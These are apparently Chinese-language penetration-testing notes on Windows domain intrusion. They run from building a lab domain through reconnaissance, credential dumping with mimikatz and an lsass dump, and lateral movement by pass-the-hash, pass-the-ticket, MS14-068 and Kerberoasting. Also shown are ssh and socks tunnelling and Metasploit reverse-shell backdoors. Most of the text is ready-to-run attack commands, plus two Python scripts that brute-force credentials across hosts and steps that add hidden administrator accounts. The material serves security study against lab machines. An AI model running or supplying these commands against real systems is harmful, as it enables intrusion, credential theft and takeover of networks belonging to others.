内网渗透篇

[TOC]

域的搭建

实验环境:

win2008 域控 本地管理员密码:0801.com 域密码:yk2008.com ip:192.168.137.2

win 2008 域成员 本地管理员密码:0802.com 域密码:yc2008.com ip:192.168.137.66

win 2003 域成员 本地管理员密码:0301.com 域密码: yc2003.com ip:192.168.137.99

配置域控2008

使用vm1网卡

image-20220322141739390

配置ip

image-20220322141649714

找到服务器管理器

image-20220322135655066

image-20220322135624657

一直下一步,然后安装

image-20220322140010325

安装成功

image-20220322140057795

运行dcpromo程序:

image-20220322141947512

一直下一步,到这里新建域

image-20220322142110877

命名林根域

image-20220322142158498

选择2008 R2

image-20220322142302851

一直下一步/默认是,到这一步设置密码为:yk2008.com

image-20220322142632261

一直下一步

完成了域控的配置,并重启

image-20220322142812609

image-20220322142833978

重启后,有域的标识出现,我们使用前文设置的域控密码登录

image-20220322143248873

进入后

打开域管理中心

image-20220322150310596

打开用户和计算机,新建组织hack

image-20220322151545759

在这个组分别建立server2003用户和server2008用户,设置域密码分别为 yc2003.com和yc2008.com

image-20220322151809690

image-20220322151918916

到这里域控的配置就完成了,接下来就让域成员加入域

进入windows2003

更改计算机名加入域

image-20220322153432998

windows2008同理

然后重启

输入加入域的计算机名

image-20220322154303764

成功登入

image-20220322154329618

我们在域控中就能看到两台计算机上线

image-20220322154709810

域环境就搭建好了

信息搜集

基本信息收集:

了解当前服务器的计算机基本信息,为后续判断服务器角色,网络环境等做准备

systeminfo 详细信息
net start 启动服务
tasklist 进程列表
schtasks 计划任务

网络信息收集:

了解当前服务器的网络接口信息,为判断当前角色,功能,网络架构做准备

ipconfig /all 判断存在域-dns
net view /domain 判断存在域
net time /domain 判断主域
netstat -ano 当前网络端口开放
nslookup 域名 追踪来源地址

用户信息收集:

了解当前计算机或域环境下的用户及用户组信息,便于后期利用凭据进行测试

Domain Admins:域管理员(默认对域控制器有完全控制权)
Domain Computers:域内机器
Domain Controllers:域控制器
Domain Guest:域访客,权限低
Domain Users:域用户
Enterprise Admins:企业系统管理员用户(默认对域控制器有完全控制权)
相关用户收集操作命令:
whoami /all 用户权限
net config workstation 登录信息
net user 本地用户
net localgroup 本地用户组
net user /domain 获取域用户信息
net group /domain 获取域用户组信息
wmic useraccount get /all 涉及域用户详细信息
net group "Domain Admins" /domain 查询域管理员账户
net group "Enterprise Admins" /domain 查询管理员用户组
net group "Domain Controllers" /domain 查询域控制器

凭据信息收集操作:

收集各种密文,明文,口令等,为后续横向渗透做好测试准备

计算机用户 HASH,明文获取-mimikatz(win),mimipenguin(linux)
计算机各种协议服务口令获取-LaZagne(all),XenArmor(win)
Netsh WLAN show profiles
Netsh WLAN show profile name="无线名称" key=clear
1.站点源码备份文件、数据库备份文件等
2.各类数据库 Web 管理入口,如 PHPMyAdmin
3.浏览器保存密码、浏览器 Cookies
4.其他用户会话、3389 和 ipc$连接记录、回收站内容
5.Windows 保存的 WIFI 密码
6.网络内部的各种帐号和密码,如:Email、VPN、FTP、OA 等

探针主机域控架构服务:

为后续横向思路做准备,针对应用,协议等各类攻击手法

探针域控制器名及地址信息
net time /domain nslookup ping
探针域内存活主机及地址信息
nbtscan 192.168.3.0/24 第三方工具
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL=" 自带内部命令
nmap masscan 第三方 PowerShell 脚本 nishang empire 等
#导入模块 nishang
Import-Module .\nishang.psm1
#设置执行策略
Set-ExecutionPolicy RemoteSigned
#获取模块 nishang 的命令函数
Get-Command -Module nishang
#获取常规计算机信息
Get-Information
#端口扫描(查看目录对应文件有演示语法,其他同理)
Invoke-PortScan -StartAddress 192.168.3.0 -EndAddress 192.168.3.100 -ResolveHost -ScanPort
#其他功能:删除补丁,反弹 Shell,凭据获取等
探针域内主机角色及服务信息
利用开放端口服务及计算机名判断
核心业务机器:
1.高级管理人员、系统管理员、财务/人事/业务人员的个人计算机
2.产品管理系统服务器
3.办公系统服务器
4.财务应用系统服务器
5.核心产品源码服务器(自建 SVN、GIT)
6.数据库服务器
7.文件或网盘服务器、共享服务器
8.电子邮件服务器
9.网络监控系统服务器
10.其他服务器(内部技术文档服务器、其他监控服务器等)

域横向

img

image-20220320150741924

域横向必备知识点

知识点1:
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码

针对以上情况,我们提供了4种方式解决此类问题
1.利用哈希 hash 传递(pth,ptk等)进行移动
2.利用其它服务协议(SMB,WMI等)进行哈希移动
3.利用注册表操作开启Wdigest Auth值进行获取
4.利用工具或第三方平台(Hachcat)进行破解获取
#注册表操作开启Wdigest Auth值
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

知识点2:
Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。

#获取win密码hash的两个工具
Pwdump7
QuarksPwdump

知识点3:
域用户与本地用户的区别
比如,god/administrator是域用户,./administrator是本地用户

at&&schtasks(密码是明文)

优点:官方自带命令,不会被杀

缺点:命令比较繁琐,且只支持明文密码

在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机? 这里介绍 at&schtasks 命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主 机上执行命令

获取到某域主机权限–>minikatz 得到密码(明文,hash)–>用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典–>尝试连接–>创建计划任务(at|schtasks)–>执行文件可为后门或者相关命令

利用流程:

  1. 建立 IPC 链接到目标主机 (目标主机要开启135,445)
  2. 拷贝要执行的命令脚本到目标主机
  3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
  4. 删除 IPC 链接
net use \\server\ipc$"password" /user:username # 工作组 
net use \\server\ipc$"password" /user:domain\username #域内 
dir \\xx.xx.xx.xx\C$\ # 查看文件列表 
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件 
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件 
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除 
IPC net view xx.xx.xx.xx # 查看对方共享 
#建立 IPC 常见的错误代码 
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限 
(2)51:网络问题,Windows 无法找到网络路径 
(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有 防火墙等问题 
(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$ 
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除 
(6)1326:账号密码错误 
(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况 
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码 
#建立 IPC 失败的原因 
(1)目标系统不是 NT 或以上的操作系统 
(2)对方没有打开 IPC$共享 
(3)对方未开启 139、445 端口,或者被防火墙屏蔽 
(4)输出命令、账号密码有错误
[at] & [schtasks]
#at < Windows2012
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立 ipc 连接:
copy add.bat \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\add.bat #添加计划任务
#schtasks >=Windows2012
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立 ipc 连接:
copy add.bat \\192.168.3.32\c$ #复制文件到其 C 盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建 adduser 任务
对应执行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #运行 adduser 任务
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除 adduser 任务

atexec-impacket 明文和HASH 传递攻击

impacket的exe版本:https://github.com/maaaaz/impacket-examples-windows

优点:命令简单,易上手

缺点:非官方自带,可能被杀

atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

image-20220320153845240

明文 HASH 传递批量利用

收集活跃ip,放在ip.txt中

FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测 IP 对应明文连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测 IP 对应明文回显版

收集可能的密码和hash放在文件中

FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应 IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测 HASH 对应 IP 回显版

明文HASH传递批量利用-升级版

利用py脚本制作的exe文件批量尝试横向渗透

Fuck.py

import os
import time

ips={
    '192.168.3.30',
    '192.168.3.25',
    '192.168.3.32',
    '192.168.3.29'
}

users={
    'admin',
    'user',
    'Administrator',
    'webadmin',
    'boss'

}

passwds={
    '123456',
    'passwd',
    'admin123'
    'admin666'

}

for ip in ips:
    for user in users:
        for passwd in passwds:
            exec = "net use \\"+ "\\" + ip +'ipc$ '+passwd+' /user:god\\' + user
            print('---->'+exec+'<----')
            os.system(exec)
            time.sleep(1)

执行效果

image-20220320161721565

将python脚本编译成exe文件

安装pyinstaller

pip install pyinstaller

生成可执行EXE

Pyinstaller -F [.py文件]

会生成一个同名的exe文件

image-20220320162043000

image-20220320162242560

Procdump+Mimikatz 配合获取hash密码

这种情况适用于mimikatz被杀,但是自己做免杀失败/或不想做免杀可以来与Procdump配合使用,因为Procdump是官方自带的,所以不会被杀

# procdump 在目标机上执行
procdump -accepteula -ma lsass.exe lsass.dmp
# mimikatz 在本地执行:
privilege::debuge
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

image-20220320165205243

然后可以利用 Hashcat 破解获取 Windows NTML Hash

SMB 服务利用-psexec(官方自带+第三方),smbexec(只有第三方)

psexec

PsTools - Windows Sysinternals | Microsoft Docs

利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。

#psexec 第一种:先有 ipc 链接,psexec 需要明文或 hash 传递
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd # 需要先有 ipc 链接 -s 以 System 权限运行
exit #退出

image-20220320171306833

#psexec 第二种:不用建立 IPC 直接提供明文账户密码
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd

image-20220320172223595

但是当我们使用hash传递时

psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 官方 Pstools 无法采用 hash 连接
#非官方自带-参考 impacket 工具包使用,操作简单,容易被杀

image-20220320172705914

就会出现问题,这是因为官方 Pstools 无法采用 hash 连接,所以我们可以使用 impacket 工具包

缺点:非官方,会被杀毒软件杀掉,所以要做免杀

image-20220320173053675

smbexec

无需先 ipc 链接 明文或 hash 传递

smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

image-20220320173615976

image-20220320173738115

WMI 服务利用-wmic,cscript,wmiexec

WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash 的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

自带 WMIC 明文传递 无回显 所以写入文件夹后还要自己想办法读取

wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"    

image-20220320180441580

自带 cscript 明文传递 有回显

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
#escript不需要下载,自带。但是需要用到第三方 wmiexec.vbs,但是wmiexec.vbs免杀非常简单

image-20220320180646769

套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本

wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

缺点:容易被杀

image-20220320181811547

image-20220320181844775

image-20220320182207418

同理可以借用编程解放双手

hash 批量利用-python 编译 exe

#pyinstaller.exe -F fuck_neiwang_002.py
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}
hashs={
'ccef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}
for ip in ips:
for user in users:
for mimahash in hashs:
#wmiexec -hashes :hashgod/user@ipwhoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
print('--->' + exec + '<---')
os.system(exec)
time.sleep(0.5)

image-20220320183203790

PTH&PTK&PTT哈希票据传递

image-20220322132427400

Kerberos 协议在域中具体工作方法:

**1、客户机将明文密码进行 NTLM 哈希,然后和时间戳一起加密(使用 krbtgt 密码 hash 作为密钥),发送给 kdc(域控),kdc 对用户进行检 测,成功之后创建 TGT(Ticket-Granting Ticket) **

**2、将 TGT 进行加密签名返回给客户机器,只有域用户 krbtgt 才能读 取 kerberos 中 TGT 数据 **

**3、 然后客户机将 TGT 发送给域控制器 KDC 请求 TGS(票证授权服 务)票证,并且对 TGT 进行检测 **

4、 检测成功之后,将目标服务账户的 NTLM 以及 TGT 进行加密,将 加密后的结果返回给客户机。

PTH(pass the hash) #利用 lm 或 ntlm 的值进行的渗透测试 
PTT(pass the ticket) #利用的票据凭证 TGT 进行的渗透测试 
PTK(pass the key) #利用的 ekeys aes256 进行的渗透测试

PTH

PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可 以攻击成功。对于 8.1/2012r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys 代替 NT hash 来实现 ptk 攻击。

总结:KB2871997 补丁后的影响

pth:没打补丁用户都可以连接,打了补丁只能 administrator 连接

ptk:打了补丁才能用户都可以连接,采用 aes256 连接

参考链接: https://www.freebuf.com/column/220740.html

PTT

PTT 攻击的部分就不是简单的 NTLM 认证了,它是利用 Kerberos 协议进行攻击的。

三种 常见的攻击方法:MS14-068,Golden ticket,SILVER ticket。

MS14-068 基于漏洞,造成的危害是允许域内任何一个普通用户,将自己提升至域管权限,微软给出的补丁是 kb3011780。

Golden ticket(黄金票据),SILVER ticket(白银票据),属于权限维持技术 ,简单来说就是将连接合法的票据注入到 内存中实现连接。

案例:

1.PTH传递-mimikatz

如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可 以攻击成功。

privilege::debug
sekurlsa::logonPasswords

假设我们找到了域控的hash密码

# PTH ntlm 传递
# 未打补丁下的工作组及域连接:
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7  #连接域用户
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c #连接本地用户
sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
\\OWA2010CN-God.god.org

就会弹出一个cmd窗口

image-20220322173836031

2.PTK传递-mimikatz

image-20220322180108315

这个必须打了补丁才能连接,不然连不上去

PTK aes256 传递
打补丁后的工作组及域连接:
sekurlsa::ekeys #获取 aes
sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b

3.域横向移动 PTT 传递-ms14068&kekeo&本地

第一种利用漏洞:能实现普通用户直接获取域控 system 权限

此处mimikatz无需提升权限,因为不涉及高权限操作,一个普通用户就可以

#MS14-068 powershell 执行
1.查看当前 sid whoami/user
2.mimikatz # kerberos::purge
//清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
3.利用 ms14-068 生成 TGT 数据
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
4.票据注入内存
mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit
5.查看凭证列表 klist
6.利用
dir \\192.168.3.21\c$  #如果ip无法识别,改成计算机名字

第二种利用工具 kekeo

1.生成票据
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
2.导入票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
3.查看凭证 klist
4.利用 net use 载入
dir \\192.168.3.21\c$

第三种利用mimikatz导出本地票据(需要管理权限)

域控连接后10h内有效

privilege::debug
sekurlsa::tickets /export
kerberos::ptt xxxxxxxxxx.xxxx.kirbi

总结:ptt 传递不需本地管理员权限,连接时主机名连接,基于漏洞,工具,本地票据

RDP与SPN

RDP

RDP协议连接:判断对方远程桌面服务是否开启(默认:3389),端口扫描判断

RDP明文密码链接
1.windows: mstsc
2.mstsc.exe /console /v:192.168.3.21 /admin
3.linux: rdesktop 192.168.3.21:3389

RDP密文HASH链接
windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启,
同时如果Win 7 和Windows Server 2008 R2安装了2871997、2973351补丁也支持;

开启命令:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

开启后运行:
1.mstsc.exe /restrictedadmin
2.mimikatz.exe
3.privilege::debug
4.sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin"

img

域横向移动SPN服务-探针,请求,导出,破解,重写

黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。

1、探针

setspn -q */*
setspn -q */* | findstr "MSSQL"

2、请求票据

klist purge //删除缓存票据
klist    //查看票据

# 请求票据 
# powershell请求
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxx"

# 或者mimikatz请求
mimikatz.exe "kerberos::ask /target:xxxx"

3、导出票据(到mimikatz运行目录)

# mimikatz
mimikatz.exe "kerberos::list /export"

4、破解票据

# 破解工具tgsrepcrack.py python3环境运行(将票据拖到本地破解)
python tgsrepcrack.py passwd.txt xxxx.kirbi
python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi

5、重写票据(属于后续攻击,不一定会成功,-u500指的是管理员用户,-g512指的是管理员组)

python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512
mimikatz.exe kerberos::ptt xxxx.kirbi # 将生成的票据注入内存

6、利用

dir //xxx.xxx.xxx.xxx/c$

隧道技术

ssh隧道

通常,我们用于调试的计算机无法远程访问位于局域网中的待调试设备。通过 ssh 的端口转发(又称 ssh 隧道)技术,可以实现这种远程调试功能。ssh 客户端运行于本地机器,它的作用是:登录到目标机器并在目标机器上执行命令。它可以建立一个安全通道,为不安全网络上两个不受信任的主机提供安全的加密通信。X11 连接、任意 TCP 端口和 UNIX 域套接字也可以通过 ssh 安全通道进行转发。ssh 连接并登录到指定的主机名(用户名可选)。如果指定了命令,命令将在远程主机上执行,而不是在本机 shell 里执行。

ssh 端口转发相关的常用选项如下:


-C

请求压缩所有数据(包括 stdin、stdout、stderr 和用于转发的 X11、TCP 和 UNIX 域连接的数据)。压缩算法与 gzip 使用的算法相同,压缩级别由 ssh 协议版本 1 的 CompressionLevel 选项控制。在调制解调器线路和其他慢速连接上采用压缩是可取的,但它会减慢快速网络上的速度。


-f

请求 ssh 在执行命令之前转到后台。如果用户希望 ssh 在后台运行,但 ssh 需要用户提供密码或口令,使用 -f 选项就很有用,在用户输入密码之后,ssh 就会转入后台运行。这个选项隐含了 -n 选项的功能(-n 选项将 stdin 重定向到 /dev/null,从而避免后台进程读 stdin)。在远程站点上启动 X11 程序的推荐方法是使用 “ssh -f host xterm” 。

如果 ExitOnForwardFailure 配置选项设置的是 “yes”,则使用 -f 选项启动的 ssh 客户端会等所有的远程端口转发建立成功后才将自己转到后台运行。


-n

将 stdin 重定向到 /dev/null (实际上是为了防止后台进程从stdin读取数据)。当 ssh 在后台运行时必须使用此选项。

一个常见的技巧是使用它在目标机器上运行 X11 程序。例如,ssh -n shadow.cs.hut.fi emacs & 将在 shadows.cs.hut.fi 上启动 emacs 程序。X11 的连接将通过加密通道自动转发。ssh 程序将在后台运行。(如果 ssh 需要请求密码或口令,则此操作无效;参见-f选项。)


-N

不执行远程命令。此选项用于只需要端口转发功能时。


-g

允许远程主机连接到本地转发端口。如果用于多路复用连接,则必须在主进程上指定此选项。


-t

强制分配一个伪终端。在目标机上执行任意的基于屏幕的程序时(例如,实现菜单服务),分配伪终端很有用。使用多个 -t 选项则会强制分配终端,即使 ssh 没有本地终端。


-T

禁止分配伪终端。


-L [bind_address:]port:host:hostport
-L [bind_address:]port:remote_socket
-L local_socket:host:hostport
-L local_socket:remote_socket

数据从本机转发到远程。本机上指定 TCP 端口或 UNIX 套接字的连接将被转发到目标机上指定端口或套接字。

上述参数中,bind_address 指本地地址;port 指本地端口;local_socket 指本地 UNIX 套接字;host 指远程主机地址;hostport 指远程端口;remote_socket 指远程 UNIX 套接字。

image-20220318150851834

ssh 端口转发模式

ssh 的端口转发有三种模式:

  • 本地:ssh -C -f -N -g -L local_listen_port:remote_host:remote_port agent_user@agent_host

    将本地机监听端口 local_listen_port 上的数据转发到远程端口 remote_host:remote_port

  • 远程:ssh -C -f -N -g -R agent_listen_port:local_host:local_port agent_user@agent_host

    将代理机监听端口 agent_listen_port 上的数据转发到本地端口 local_host:local_port

  • 动态:ssh -C -f -N -g -D listen_port agent_user@agent_host

正向连接

WEB服务器执行

ssh -CNfL 0.0.0.0:7777:10.10.10.128:80 web@192.168.0.144

反向连接

在攻击机上启动ssh

/etc/init.d/ssh start

在web服务器上执行

ssh -qTfnN -R port:host:hostport remote_ip
ssh -qTfnN -R 2222:127.0.0.1:22 root@192.168.0.115  # 将本地的22端口转发到192.168.0.115 的2222端口

攻击机上再执行

ssh -p 2222 web@127.0.0.1

image-20220318161331485

Socket代理

SSH -qTfnN -D port remotehots

端口转发与端口映射

image-20220318213918972

生成metaploit后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.196 lport=12345 -f exe >/var/www/html/sakura.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.196
set lport 12345
exploit

当运行后门,得到反弹shell后

映射端口:

portfwd add -L 192.168.0.115 -l 2020 -p 80 -r 10.10.10.128

此时我们访问 本机的2020端口 即打开192.168.0.115:2020 实际上访问的是 10.10.10.128:80 的服务

端口转发

portfwd add -l 5555 -p 3389 -r 192.168.0.149 #将肉鸡的3389端口映射到本地的5555端口
rdesktop 127.0.0.1:5555

查看列表

portfwd list

清空列表

portfwd flush

socket隧道

image-20220318220150442

​ 下载地址:

http://sourceforge.net/project/ssocks/

解压编译:

tar zxvf ssocks-0.0.14.tar.gz
cd ssocks-0.0.14
./configure && make #编译后会创建一个src文件夹
cd src

image-20220318221138321

kali机使用:

./rcsocks -l 1088 -p 1080 -vv

等待远程socks5服务器访问本地1080端口,创建端口1080与本地端口1088的连接通道

web服务器:

/rssocks -vv -s 192.168.10.115:1080

利用proxychains进行Socks5代理

编辑proxychains工具

vim /etc/proxychains.conf

注释掉socks4,加上socks5

#socks4 127.0.0.1 9050
socks5 127.0.0.1 1088

kail机使用代理访问:

proxychains firefox http://10.10.10.128

就会成功访问

使用nmap扫描

proxychains nmap -Pn -sT 10.10.10.128

跨路由扫描

image-20220318224021872

生成metaploit后门,并监听

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.115 lport=12345 -f exe >/var/www/html/sakura.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 12345
exploit

运行后门,得到反弹shell

getuid  查看当前用户
ifconfig  获取网卡信息
run get_local_subnets 获取路由信息
run autoroute -p 查看当前路由
run autoroute -s 10.10.10.0/24 增加路由 

使用socks4a模块

use auxiliary/server/socks4a

 SRVHOST:监听的ip地址,默认为0.0.0.0,一般不需要更改。
SRVPORT:监听的端口,默认为1080。

image-20220318225453685

设置端口

set SRVPORT 1044
exploit

然后配置proxychains

vim /etc/proxychains.conf

proxychains.conf

socks4 192.168.0.115 1044

使用nmap扫描

proxychains nmap -sT Pn 10.10.10.128

image-20220318230018344

也可以用浏览器访问

proxychains firefox http://10.10.10.128

缺点:

无法进行爆破(如hydra)等一些操作

MSF-常见的内网测试渗透

image-20220318231904664

生成metaploit后门,并监听

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.115 lport=12345 -f exe >/var/www/html/sakura.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 12345
exploit

运行后门,得到2003服务器反弹shell

image-20220318234051072

查看路由表

route

image-20220318234749786

增加路由

run autoroute -s 10.10.10.0/24

查看路由列表

run autoroute -p

清空路由

run autoroute -d

提权命令:

sysinfo 查看系统信息
ps 查看进程

image-20220318235448756

image-20220318235621609

getuid 当前用户
getprivs 尽可能提升权限
getsystem 通过各种攻击向量来提升系统用户权限

image-20220318235905714

增加管理员

net user sakura$ 123456 /add & net localground administrators sakura$ /add

检测存活ip

run post/multi/gather/ping_sweep rhosts=10.10.10.0/24
run post/windows/gather/arp_scanner rhosts=10.10.10.0/24

image-20220319000735682

image-20220319000816930

增加路由表

run autoroute -s 10.10.10.0/24
background
use auxiliary/server/socks4a
set SRVHOST 192.168.0.115 #端口默认是1080
exploit
vim /etc/proxychains.conf
socks4 192.168.0.115 1080
proxychains nmap -sT -Pn -P 445,22,80,3306 10.10.10.130-135 --open -oN 10.10.10.0.txt

445开放,尝试hash攻击

hash获取

meterpreter > hashdump

image-20220319014555755

ues exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.131
set SMBUser Administrator
set SMBPass 44efcexxxxxxxxxxxxxxxxxxxxxxxx
exploit

使用mimikatz来获取更多密码

meterpreter > load mimikatz
meterpreter > msv  #获取hash密码
meterpreter > run getgui -e #开启3389端口
meterpreter > run getgui -u sakura -p 123456 #增加用户
root@kali:~# proxychains rdesktop -u Administrator -p 123456 10.10.10.131 #登录3389端口

MSF进行一次完整的域渗透流程

image-20220319122142921

渗透前提:拿到了域客户机2008的shell

生成metaploit后门,并监听

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.115 lport=12345 -f exe >/var/www/html/sakura.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 12345
exploit

运行后门,得到2008服务器反弹shell

扫描内网的机器

run post/windows/gather/qrp_scanner rhosts=10.10.1.0/24

加入路由

background
route add 10.10.1.3 255.255.255.0 1

使用扫描器

use scanner/portscan/tcp  #默认扫描1-10000端口
set rhost 10.10.1.3
exploit

通过扫描发现 10.10.1.3 的3306端口存在mysql服务

进行弱口令攻击

use auxiliary/scanner/mysql/mysql_login
set rhost 10.10.1.3
set username root
set pass_file /root/password.txt
exploit

image-20220319124232296

成功爆破出弱口令

尝试使用mysql_mof提权,得到域客户机2003的session

use exploit/windows/mysql/mysql_mof
set password 123456
set rhost 10.10.1.3
set username root
set payload windows/metepreter/bind_tcp
exploit

现在拿到了2003的系统权限,就可以使用一些命令进行信息搜集

new view /domain:moonsec #查看当前域用户

image-20220319125543944

得到目标机ip

ping SERVERS2003

image-20220319125634094

net user /domain  #获取所有域的用户列表
net group /domain #获取域用户组信息
net group "domain admins" /domain #获取当前域管理员信息
net time /domain #查看域实际及域服务器名字

可以得到域控信息

WIN-7230786H6KU.moonsec.com 10.10.1.2 #这个就是域控

因为普通域用户 需要更改系统信息 都需要通过域管理员的操作 要输入账号密码

抓明文 mimikatz

meterpreter > load mimikatz
meterpreter > msv  #获取hash密码

image-20220319130901701

尝试能否抓明文

meterpreter > kerberos #获取明文密码

image-20220319132330184

现在想要获取session

use exploit/windows/smb/psexec
set rhost 10.10.1.2
set SMBDomain moonsec
set SMBUser administrator
set SMBPass xxx123456..
set payload windows/meterpreter/bind_tcp
exploit

image-20220319133243629

得到域控shell,但是权限不够

get privs
getsystem

使用uac提权

use exploit/windows/local/ask
set sessions 3
exploit

image-20220319133844674

